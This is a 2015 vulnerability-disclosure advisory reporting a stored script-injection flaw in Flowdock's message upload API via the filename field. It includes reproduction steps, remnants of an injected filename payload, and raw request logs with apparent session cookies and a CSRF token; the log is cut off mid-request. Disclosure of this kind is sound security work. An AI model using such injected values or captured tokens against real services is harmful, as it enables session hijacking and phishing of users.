Document Title: =============== Flowdock API Bug Bounty #2 - Persistent Web Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1572 Release Date: ============= 2015-09-23 Vulnerability Laboratory ID (VL-ID): ==================================== 1572 Common Vulnerability Scoring System: ==================================== 3.8 Product & Service Introduction: =============================== Chat & inbox for teams.. One place to talk and stay up-to-date. Flowdock is a team collaboration app for desktop, mobile & web. Work on things that matter, be transparent and solve problems across tools, teams & time zones. Try it for free for 30 days. Keeping Flowdock`s environment and customer data safe and secure is a top priority for us. Find more details on our Help pages. Don`t hesitate to contact us at support@flowdock.com should you have any questions about Flowdock`s security. (Copy of the Vendor Homepage: https://www.flowdock.com/security ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered an application-side input validation web vulnerability in the official Flowdock online service web-application. Vulnerability Disclosure Timeline: ================================== 2015-08-11: Researcher Notification & Coordination (Benjamin Kunz Mejri) 2015-08-12: Vendor Notification (Flowdock Security Team - Bug Bounty Program) 2015-08-13: Vendor Response/Feedback (Flowdock Security Team - Bug Bounty Program) 2015-08-13: Vendor Fix/Patch (Flowdock Developer Team) 2015-09-23: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Rally Software Product: Flowdock - Online Service (Web-Application) [API] 2015 Q3 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ An application-side input validation web vulnerability has been discovered in the officialFlowdock online-service web-application. The vulnerability allows remote attackers to inject own malicious script codes to the application-side of the vulnerable context function or service module. The vulnerability is located in the filename value of the messages upload module POST method request. Remote attackers with low privilege application user accounts are able to inject own malicious script codes to the application-side of the service. The request method to inject malicious context is POST and the attack vector is located on the application-side of the flowdock api web-service. Remote attackers are able to inject malicious script codes to the application-side to compromise flowdock accounts by session manipulation or session evasion attacks. The attacker uploads a file with malicious payload which demonstrates the injection point and the execution point is on arrival at the target flowdock inbox. The security risk of the persistent input validation web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.8. Exploitation of the persistent input validation web vulnerability requires a low privilege web-application user account and low user interaction. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent redirect to external sources and persistent manipulation of affected or connected service module context. Request Method(s): [+] POST Vulnerable Module(s): [+] messages Vulnerable Parameter(s): [+] filename Proof of Concept (PoC): ======================= The security vulnerability can be exploited by remote attackers with low privilege application user account and low user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Send message to other user team with upload file 2. Inject a Payload as name (code injection) 3. When the user get notification for the new message the code will execute in the notification 4. Successful reproduce of the vulnerability! Note: Use tamper data in mozilla to manipulate the session by interception of the name value. PoC: Vulnerable Source (notification-content msg-body)
  • samir
    ">
  • --- PoC Session Logs [POST] --- POST https://www.flowdock.com/rest/private/170795/messages Load Flags[LOAD_BYPASS_CACHE ] Content Size[339] Mime Type[application/json] Request Headers: Host[www.flowdock.com] User-Agent[Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0] Accept[application/json, text/javascript, */*; q=0.01] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] X-CSRF-Token[1+JuxclMvc6XcH7Ik/a7EarpPDczMMvQNvm/Zgz4h1rXI9Da8S+IBSLjsK7uWZmc9LghWzbXf50TOG8cOQADQw==] X-Requested-With[XMLHttpRequest] Referer[https://www.flowdock.com/app/private/170795] Content-Length[5784] Content-Type[multipart/form-data; boundary=---------------------------21230318109481145621093143147] Cookie[__cfduid=d3ee44a1993dff388a7905fe132c30ef11435013606; _ga=GA1.2.1847177044.1435013486; ga_cid=1847177044.1435013486; __ar_v4=%7CNVE6VSAVAFEITPQZLCROVA%3A20150622%3A1%7CN4SGXQCDSJGPZCWP5DGWWO %3A20150622%3A1%7CP3GQR6LVEJFUDLS6YOOZNQ%3A20150622%3A1; logged_in=1438944441; referrer=Imh0dHBzOi8vd3d3LmZsb3dkb2NrLmNvbS9hcHAvcHJpdmF0ZS8xNDc2NTIi--a4ab7e15e637896fd674cc4567a82201458e65b7; _flowdock_session=d296anpDYy9qdDdWNnpTQk13M3I0b0xUSDYyNFRZemNIL01wczkybDF0VU15RzRrNEVtYm1nWGQ1Yk5QRjBEbVZ4cXUvSXR2Vm9qTE5VM2FkUG5jMTBzRjZUTENrQlpOVGJRZ2poZlJXSUN6ZXhINTRyYStEWkozSTBNY0ZPZjVESlpnajlzdjB3K09zY2dZV0YzNG5vcFhrMkQ1TWV0MXlnLz NpNFgyeFhkSE1tcEg4Ym5zcS9yRWlRckRYYi9ab3BQSFJibUR6M2VQVk53U3FJUGJWMHBZZUNFa1k4NHRzNkU0bEJUZ3RvVXJLWUg1VDI3NWtaMUhlSGJxaFVDVC0taWluRHlWdzNQM2xMSUk4djE3ODgrZz09--2be40dc9a5a653d43872d188a0f084547f4213e0; _gat=1; _flowdock_credentials=ImhZckJIelNFSVJneFBQV0hMcXhWZk9XaGZpdFBHU2ZhZEtEQ2hoQUkwaUki--2028f858d905618720acb4b77ed51374450a0c01; login=1] Connection[keep-alive] Pragma[no-cache] Cache-Control[no-cache] Post Data: POST_DATA[-----------------------------21230318109481145621093143147 Content-Disposition: form-data; name="uuid" kArHQnaGXX7LQB4H -----------------------------21230318109481145621093143147 Content-Disposition: form-data; name="event" file -----------------------------21230318109481145621093143147 Content-Disposition: form-data; name="content"; filename="">